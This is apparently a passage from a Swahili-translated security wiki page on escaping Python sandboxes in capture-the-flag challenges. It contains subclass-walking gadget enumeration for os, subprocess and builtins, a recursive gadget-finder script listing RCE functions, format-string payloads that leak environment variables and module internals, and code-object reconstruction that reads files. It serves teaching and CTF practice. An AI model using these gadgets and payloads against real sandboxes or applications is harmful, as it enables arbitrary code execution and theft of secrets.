sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pdb:
"""

Zaidi ya hayo, ikiwa unadhani maktaba zingine zinaweza kuwa na uwezo wa kuita kazi za kutekeleza amri, tunaweza pia kuchuja kwa majina ya kazi ndani ya maktaba zinazowezekana:

bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
for b in bad_libraries_names + bad_func_names:
vuln_funcs = [ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) for k in x.__init__.__globals__ if k == b ]
print(f"{b}: {', '.join(vuln_funcs)}")

"""
os: CompletedProcess, Popen, NullImporter, _HackedGetData, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, HTTPConnection, MimeTypes, BlockFinder, Parameter, BoundArguments, Signature, _FragList, _SSHFormatECDSA, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _CallbackExceptionHelper, Context, Connection, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, Cookie, CookieJar, BaseAdapter, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, NullTranslations
commands:
subprocess: BaseDependency, Origin, Version, Package
pty:
importlib: NullImporter, _HackedGetData, BlockFinder, Parameter, BoundArguments, Signature, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path
imp:
sys: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, WarningMessage, catch_warnings, _GeneratorContextManagerBase, _BaseExitStack, Untokenizer, FrameSummary, TracebackException, CompletedProcess, Popen, finalize, NullImporter, _HackedGetData, _localized_month, _localized_day, Calendar, different_locale, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, CompressedValue, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, MimeTypes, ConnectionPool, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, Scrypt, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, JSONDecoder, Response, monkeypatch, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close
builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, Repr, Completer, CompletedProcess, Popen, _PaddedFile, BlockFinder, Parameter, BoundArguments, Signature
pip:
pdb:
system: _wrap_close, _wrap_close
getstatusoutput: CompletedProcess, Popen
getoutput: CompletedProcess, Popen
call: CompletedProcess, Popen
Popen: CompletedProcess, Popen
spawn:
import_module:
__import__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec
load_source: NullImporter, _HackedGetData
execfile:
execute:
__builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, zipimporter, _ZipImportResourceReader, IncrementalEncoder, IncrementalDecoder, StreamReaderWriter, StreamRecoder, _wrap_close, Quitter, _Printer, DynamicClassAttribute, _GeneratorWrapper, WarningMessage, catch_warnings, Repr, partialmethod, singledispatchmethod, cached_property, _GeneratorContextManagerBase, _BaseExitStack, Completer, State, SubPattern, Tokenizer, Scanner, Untokenizer, FrameSummary, TracebackException, _IterationGuard, WeakSet, _RLock, Condition, Semaphore, Event, Barrier, Thread, CompletedProcess, Popen, finalize, _TemporaryFileCloser, _TemporaryFileWrapper, SpooledTemporaryFile, TemporaryDirectory, NullImporter, _HackedGetData, DOMBuilder, DOMInputSource, NamedNodeMap, TypeInfo, ReadOnlySequentialNamedNodeMap, ElementInfo, Template, Charset, Header, _ValueFormatter, _localized_month, _localized_day, Calendar, different_locale, AddrlistClass, _PolicyBase, BufferedSubFile, FeedParser, Parser, BytesParser, Message, HTTPConnection, SSLObject, Request, OpenerDirector, HTTPPasswordMgr, AbstractBasicAuthHandler, AbstractDigestAuthHandler, URLopener, _PaddedFile, Address, Group, HeaderRegistry, ContentManager, CompressedValue, _Feature, LogRecord, PercentStyle, Formatter, BufferingFormatter, Filter, Filterer, PlaceHolder, Manager, LoggerAdapter, _LazyDescr, _SixMetaPathImporter, Queue, _PySimpleQueue, HMAC, Timeout, Retry, HTTPConnection, MimeTypes, RequestField, RequestMethods, DeflateDecoder, GzipDecoder, MultiDecoder, ConnectionPool, CharSetProber, CodingStateMachine, CharDistributionAnalysis, JapaneseContextAnalysis, UniversalDetector, _LazyDescr, _SixMetaPathImporter, Bytecode, BlockFinder, Parameter, BoundArguments, Signature, _DeprecatedValue, _ModuleWithDeprecations, DSAParameterNumbers, DSAPublicNumbers, DSAPrivateNumbers, ObjectIdentifier, ECDSA, EllipticCurvePublicNumbers, EllipticCurvePrivateNumbers, RSAPrivateNumbers, RSAPublicNumbers, DERReader, BestAvailableEncryption, CBC, XTS, OFB, CFB, CFB8, CTR, GCM, Cipher, _CipherContext, _AEADCipherContext, AES, Camellia, TripleDES, Blowfish, CAST5, ARC4, IDEA, SEED, ChaCha20, _FragList, _SSHFormatECDSA, Hash, SHAKE128, SHAKE256, BLAKE2b, BLAKE2s, NameAttribute, RelativeDistinguishedName, Name, RFC822Name, DNSName, UniformResourceIdentifier, DirectoryName, RegisteredID, IPAddress, OtherName, Extensions, CRLNumber, AuthorityKeyIdentifier, SubjectKeyIdentifier, AuthorityInformationAccess, SubjectInformationAccess, AccessDescription, BasicConstraints, DeltaCRLIndicator, CRLDistributionPoints, FreshestCRL, DistributionPoint, PolicyConstraints, CertificatePolicies, PolicyInformation, UserNotice, NoticeReference, ExtendedKeyUsage, TLSFeature, InhibitAnyPolicy, KeyUsage, NameConstraints, Extension, GeneralNames, SubjectAlternativeName, IssuerAlternativeName, CertificateIssuer, CRLReason, InvalidityDate, PrecertificateSignedCertificateTimestamps, SignedCertificateTimestamps, OCSPNonce, IssuingDistributionPoint, UnrecognizedExtension, CertificateSigningRequestBuilder, CertificateBuilder, CertificateRevocationListBuilder, RevokedCertificateBuilder, _OpenSSLError, Binding, _X509NameInvalidator, PKey, _EllipticCurve, X509Name, X509Extension, X509Req, X509, X509Store, X509StoreContext, Revoked, CRL, PKCS12, NetscapeSPKI, _PassphraseHelper, _CallbackExceptionHelper, Context, Connection, _CipherContext, _CMACContext, _X509ExtensionParser, DHPrivateNumbers, DHPublicNumbers, DHParameterNumbers, _DHParameters, _DHPrivateKey, _DHPublicKey, Prehashed, _DSAVerificationContext, _DSASignatureContext, _DSAParameters, _DSAPrivateKey, _DSAPublicKey, _ECDSASignatureContext, _ECDSAVerificationContext, _EllipticCurvePrivateKey, _EllipticCurvePublicKey, _Ed25519PublicKey, _Ed25519PrivateKey, _Ed448PublicKey, _Ed448PrivateKey, _HashContext, _HMACContext, _Certificate, _RevokedCertificate, _CertificateRevocationList, _CertificateSigningRequest, _SignedCertificateTimestamp, OCSPRequestBuilder, _SingleResponse, OCSPResponseBuilder, _OCSPResponse, _OCSPRequest, _Poly1305Context, PSS, OAEP, MGF1, _RSASignatureContext, _RSAVerificationContext, _RSAPrivateKey, _RSAPublicKey, _X25519PublicKey, _X25519PrivateKey, _X448PublicKey, _X448PrivateKey, Scrypt, PKCS7SignatureBuilder, Backend, GetCipherByName, WrappedSocket, PyOpenSSLContext, ZipInfo, LZMACompressor, LZMADecompressor, _SharedFile, _Tellable, ZipFile, Path, _Flavour, _Selector, RawJSON, JSONDecoder, JSONEncoder, Cookie, CookieJar, MockRequest, MockResponse, Response, BaseAdapter, UnixHTTPConnection, monkeypatch, JSONDecoder, JSONEncoder, InstallProgress, TextProgress, BaseDependency, Origin, Version, Package, _WrappedLock, Cache, ProblemResolver, _FilteredCacheHelper, FilteredCache, _Framer, _Unframer, _Pickler, _Unpickler, NullTranslations, _wrap_close

Tafuta Kwa Kina ya Vitu vya Kujengwa, Globals...

{% hint style="warning" %} Hii ni nzuri sana. Ikiwa unatafuta kitu kama globals, builtins, open au chochote kingine, tumia script hii kutafuta kwa kina maeneo ambapo unaweza kupata kitu hicho. {% endhint %}

import os, sys # Import these to find more gadgets

SEARCH_FOR = {
# Misc
"__globals__": set(),
"builtins": set(),
"__builtins__": set(),
"open": set(),

# RCE libs
"os": set(),
"subprocess": set(),
"commands": set(),
"pty": set(),
"importlib": set(),
"imp": set(),
"sys": set(),
"pip": set(),
"pdb": set(),

# RCE methods
"system": set(),
"popen": set(),
"getstatusoutput": set(),
"getoutput": set(),
"call": set(),
"Popen": set(),
"popen": set(),
"spawn": set(),
"import_module": set(),
"__import__": set(),
"load_source": set(),
"execfile": set(),
"execute": set()
}

#More than 4 is very time consuming
MAX_CONT = 4

#The ALREADY_CHECKED makes the script run much faster, but some solutions won't be found
#ALREADY_CHECKED = set()

def check_recursive(element, cont, name, orig_n, orig_i, execute):
# If bigger than maximum, stop
if cont > MAX_CONT:
return

# If already checked, stop
#if name and name in ALREADY_CHECKED:
#    return

# Add to already checked
#if name:
#    ALREADY_CHECKED.add(name)

# If found add to the dict
for k in SEARCH_FOR:
if k in dir(element) or (type(element) is dict and k in element):
SEARCH_FOR[k].add(f"{orig_i}: {orig_n}.{name}")

# Continue with the recursivity
for new_element in dir(element):
try:
check_recursive(getattr(element, new_element), cont+1, f"{name}.{new_element}", orig_n, orig_i, execute)

# WARNING: Calling random functions sometimes kills the script
# Comment this part if you notice that behaviour!!
if execute:
try:
if callable(getattr(element, new_element)):
check_recursive(getattr(element, new_element)(), cont+1, f"{name}.{new_element}()", orig_i, execute)
except:
pass

except:
pass

# If in a dict, scan also each key, very important
if type(element) is dict:
for new_element in element:
check_recursive(element[new_element], cont+1, f"{name}[{new_element}]", orig_n, orig_i)


def main():
print("Checking from empty string...")
total = [""]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Empty str {i}", True)

print()
print("Checking loaded subclasses...")
total = "".__class__.__base__.__subclasses__()
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Subclass {i}", True)

print()
print("Checking from global functions...")
total = [print, check_recursive]
for i,element in enumerate(total):
print(f"\rStatus: {i}/{len(total)}", end="")
cont = 1
check_recursive(element, cont, "", str(element), f"Global func {i}", False)

print()
print(SEARCH_FOR)


if __name__ == "__main__":
main()

Unaweza kuangalia matokeo ya skripti hii kwenye ukurasa huu:

{% content-ref url="broken-reference/" %} broken-reference {% endcontent-ref %}

Fomati ya Python String

Ikiwa unatuma string kwa python ambayo itakuwa imefomatiwa, unaweza kutumia {} kupata taarifa za ndani za python. Unaweza kutumia mifano iliyopita kupata upatikanaji wa vitu vya kawaida au vya kujengwa kwa mfano.

{% hint style="info" %} Walakini, kuna kizuizi, unaweza kutumia ishara .[] tu, kwa hivyo hutaweza kutekeleza nambari ya kupindukia, tu kusoma taarifa.
Ikiwa unajua jinsi ya kutekeleza nambari kupitia udhaifu huu, tafadhali nisiliana. {% endhint %}

# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
CONFIG = {
"KEY": "ASXFYFGK78989"
}

class PeopleInfo:
def __init__(self, fname, lname):
self.fname = fname
self.lname = lname

def get_name_for_avatar(avatar_str, people_obj):
return avatar_str.format(people_obj = people_obj)

people = PeopleInfo('GEEKS', 'FORGEEKS')

st = "{people_obj.__init__.__globals__[CONFIG][KEY]}"
get_name_for_avatar(st, people_obj = people)

Tafadhali angalia jinsi unavyoweza kupata sifa kwa njia ya kawaida kwa kutumia dot kama people_obj.__init__ na elementi ya dict kwa kutumia mabano bila alama za nukta __globals__[CONFIG]

Pia angalia unaweza kutumia .__dict__ kuorodhesha elementi za kitu get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)

Baadhi ya sifa nyingine za kuvutia kutoka kwa herufi za muundo ni uwezekano wa kutekeleza kazi str, repr na ascii kwenye kitu kilichotajwa kwa kuongeza !s, !r, !a mtawalia:

st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)

Zaidi ya hayo, ni inawezekana kuandika wapangaji mpya katika darasa:

class HAL9000(object):
def __format__(self, format):
if (format == 'open-the-pod-bay-doors'):
return "I'm afraid I can't do that."
return 'HAL 9000'

'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.

Mifano zaidi kuhusu muundo wa maneno zinaweza kupatikana katika https://pyformat.info/

{% hint style="danger" %} Angalia pia ukurasa ufuatao kwa vifaa ambavyo vitasoma habari nyeti kutoka kwa vitu vya ndani vya Python: {% endhint %}

{% content-ref url="../python-internal-read-gadgets.md" %} python-internal-read-gadgets.md {% endcontent-ref %}

Malipo ya Kufichua Habari Nyeti

{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
{whoami.__globals__[os].environ}
{whoami.__globals__[sys].path}
{whoami.__globals__[sys].modules}

# Access an element through several links
{whoami.__globals__[server].__dict__[bridge].__dict__[db].__dict__}

Kuchambua Vitu vya Python

{% hint style="info" %} Ikiwa unataka kujifunza kuhusu bytecode ya python kwa kina soma chapisho hili zuri kuhusu mada hiyo: https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d {% endhint %}

Katika baadhi ya CTFs unaweza kupewa jina la kazi ya desturi ambapo bendera inapatikana na unahitaji kuona ndani ya kazi ili kuiondoa.

Hii ni kazi ya kupekua:

def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
if some_input == var2:
return "THIS-IS-THE-FALG!"
else:
return "Nope"

dir

dir

dir() #General dir() to find what we have loaded
['__builtins__', '__doc__', '__name__', '__package__', 'b', 'bytecode', 'code', 'codeobj', 'consts', 'dis', 'filename', 'foo', 'get_flag', 'names', 'read', 'x']
dir(get_flag) #Get info tof the function
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']

globals

__globals__ na func_globals(Sawa) Inapata mazingira ya kimataifa. Katika mfano unaweza kuona moduli zilizoagizwa, baadhi ya variables za kimataifa na maudhui yao yaliyotangazwa:

get_flag.func_globals
get_flag.__globals__
{'b': 3, 'names': ('open', 'read'), '__builtins__': <module '__builtin__' (built-in)>, 'codeobj': <code object <module> at 0x7f58c00b26b0, file "noname", line 1>, 'get_flag': <function get_flag at 0x7f58c00b27d0>, 'filename': './poc.py', '__package__': None, 'read': <function read at 0x7f58c00b23d0>, 'code': <type 'code'>, 'bytecode': 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S', 'consts': (None, './poc.py', 'r'), 'x': <unbound method catch_warnings.__init__>, '__name__': '__main__', 'foo': <function foo at 0x7f58c020eb50>, '__doc__': None, 'dis': <module 'dis' from '/usr/lib/python2.7/dis.pyc'>}

#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__

Angalia hapa mahali zaidi pa kupata globals

Kupata msimbo wa kazi

__code__ na func_code: Unaweza kupata ufikiaji wa sifa hii ya kazi ili kupata kifaa cha msimbo wa kazi.

# In our current example
get_flag.__code__
<code object get_flag at 0x7f9ca0133270, file "<stdin>", line 1

# Compiling some python code
compile("print(5)", "", "single")
<code object <module> at 0x7f9ca01330c0, file "", line 1>

#Get the attributes of the code object
dir(get_flag.__code__)
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']

Kupata Taarifa za Kanuni

# Another example
s = '''
a = 5
b = 'text'
def f(x):
return x
f(5)
'''
c=compile(s, "", "exec")

# __doc__: Get the description of the function, if any
print.__doc__

# co_consts: Constants
get_flag.__code__.co_consts
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')

c.co_consts #Remember that the exec mode in compile() generates a bytecode that finally returns None.
(5, 'text', <code object f at 0x7f9ca0133540, file "", line 4>, 'f', None

# co_names: Names used by the bytecode which can be global variables, functions, and classes or also attributes loaded from objects.
get_flag.__code__.co_names
()

c.co_names
('a', 'b', 'f')


#co_varnames: Local names used by the bytecode (arguments first, then the local variables)
get_flag.__code__.co_varnames
('some_input', 'var1', 'var2', 'var3')

#co_cellvars: Nonlocal variables These are the local variables of a function accessed by its inner functions.
get_flag.__code__.co_cellvars
()

#co_freevars: Free variables are the local variables of an outer function which are accessed by its inner function.
get_flag.__code__.co_freevars
()

#Get bytecode
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'

Kuchambua kazi

import dis
dis.dis(get_flag)
2           0 LOAD_CONST               1 (1)
3 STORE_FAST               1 (var1)

3           6 LOAD_CONST               2 ('secretcode')
9 STORE_FAST               2 (var2)

4          12 LOAD_CONST               3 ('some')
15 LOAD_CONST               4 ('array')
18 BUILD_LIST               2
21 STORE_FAST               3 (var3)

5          24 LOAD_FAST                0 (some_input)
27 LOAD_FAST                2 (var2)
30 COMPARE_OP               2 (==)
33 POP_JUMP_IF_FALSE       40

6          36 LOAD_CONST               5 ('THIS-IS-THE-FLAG!')
39 RETURN_VALUE

8     >>   40 LOAD_CONST               6 ('Nope')
43 RETURN_VALUE
44 LOAD_CONST               0 (None)
47 RETURN_VALUE

Tambua kwamba ikiwa huwezi kuingiza dis katika sanduku la python unaweza kupata bytecode ya kazi (get_flag.func_code.co_code) na kuidisassemble kwa kifaa chako. Hautaona maudhui ya mizani zinazopakiwa (LOAD_CONST) lakini unaweza kuzitambua kutoka kwa (get_flag.func_code.co_consts) kwa sababu LOAD_CONST pia inaonyesha mbali ya mizani inayopakiwa.

dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST          1 (1)
3 STORE_FAST          1 (1)
6 LOAD_CONST          2 (2)
9 STORE_FAST          2 (2)
12 LOAD_CONST          3 (3)
15 LOAD_CONST          4 (4)
18 BUILD_LIST          2
21 STORE_FAST          3 (3)
24 LOAD_FAST           0 (0)
27 LOAD_FAST           2 (2)
30 COMPARE_OP          2 (==)
33 POP_JUMP_IF_FALSE    40
36 LOAD_CONST          5 (5)
39 RETURN_VALUE
>>   40 LOAD_CONST          6 (6)
43 RETURN_VALUE
44 LOAD_CONST          0 (0)
47 RETURN_VALUE

Kukusanya Python

Sasa, wacha tufikirie kwamba kwa namna fulani unaweza kupata habari kuhusu kazi ambayo huwezi kuitekeleza lakini unahitaji kuitekeleza.
Kama katika mfano ufuatao, unaweza kupata kifaa cha namna ya kanuni ya kazi hiyo, lakini kwa kusoma disassemble tu hujui jinsi ya kuhesabu bendera (fikiria kazi ya calc_flag yenye utata zaidi).

def get_flag(some_input):
var1=1
var2="secretcode"
var3=["some","array"]
def calc_flag(flag_rot2):
return ''.join(chr(ord(c)-2) for c in flag_rot2)
if some_input == var2:
return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"

Kuunda kifaa cha nambari

Kwanza kabisa, tunahitaji kujua jinsi ya kuunda na kutekeleza kifaa cha nambari ili tuweze kuunda moja kutekeleza kazi yetu iliyovuja:

code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
code_obj = code_type(co_argcount, co_kwonlyargcount,
co_nlocals, co_stacksize, co_flags,
co_code, co_consts, co_names,
co_varnames, co_filename, co_name,
co_firstlineno, co_lnotab, freevars=None,
cellvars=None)

# Execution
eval(code_obj) #Execute as a whole script

# If you have the code of a function, execute it
mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")

{% hint style="info" %} Kulingana na toleo la python paramita za code_type zinaweza kuwa na mpangilio tofauti. Njia bora ya kujua mpangilio wa paramita katika toleo la python unalotumia ni kwa kukimbia:

import types
types.CodeType.__doc__
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n      flags, codestring, constants, names, varnames, filename, name,\n      firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object.  Not for the faint of heart.'

{% endhint %}

Kurekebisha kazi iliyovuja

{% hint style="warning" %} Katika mfano ufuatao, tutachukua data yote inayohitajika kurekebisha kazi kutoka kwa kificho cha kazi moja kwa moja. Katika mfano halisi, thamani zote za kutekeleza kazi ya code_type ndizo utakazohitaji kufichua. {% endhint %}

fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)

mydict = {}
mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag

Kupita Ulinzi

Katika mifano iliyopita mwanzoni mwa chapisho hili, unaweza kuona jinsi ya kutekeleza nambari yoyote ya python kwa kutumia kazi ya compile. Hii ni ya kuvutia kwa sababu unaweza kutekeleza skripti nzima na mizunguko yote katika mstari mmoja (na tunaweza kufanya hivyo kutumia exec).
Hata hivyo, mara kwa mara inaweza kuwa na manufaa kuunda kitu kilichopangwa kwenye mashine ya ndani na kutekeleza kwenye mashine ya CTF (kwa mfano kwa sababu hatuna kazi ya compiled kwenye CTF).

Kwa mfano, hebu tuunde na kutekeleza kwa mkono kazi ambayo inasoma ./poc.py:

#Locally
def read():
return open("./poc.py",'r').read()

read.__code__.co_code
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'

#On Remote
function_type = type(lambda: None)
code_type = type((lambda: None).__code__) #Get <type 'type'>
consts = (None, "./poc.py", 'r')
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
names = ('open','read')

# And execute it using eval/exec
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))

#You could also execute it directly
mydict = {}
mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()

Ikiwa huwezi kupata eval au exec unaweza kuunda kazi sahihi, lakini kuiita moja kwa moja kawaida itashindwa na: constructor not accessible in restricted mode. Kwa hivyo unahitaji kazi isiyopo kwenye mazingira yaliyozuiwa kuita kazi hii.

#Compile a regular print
ftype = type(lambda: None)
ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)

Kudecompile Python Iliyokompiliwa

Kwa kutumia zana kama https://www.decompiler.com/ mtu anaweza kudecompile nambari ya Python iliyokompiliwa.

Angalia mafunzo haya:

{% content-ref url="../../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %} .pyc.md {% endcontent-ref %}

Mambo Mbalimbali ya Python

Kudai

Python inayotekelezwa na maboresho kwa parameta -O itaondoa taarifa za kudai na nambari yoyote inayotegemea thamani ya debug.
Kwa hivyo, ukaguzi kama

def check_permission(super_user):
try:
assert(super_user)
print("\nYou are a super user\n")
except AssertionError:
print(f"\nNot a Super User!!!\n")

Marejeo

• https://lbarman.ch/blog/pyjail/
• https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/
• https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/
• https://gynvael.coldwind.pl/n/python_sandbox_escape
• https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html
• https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6

Kikundi cha Usalama cha Kujitahidi

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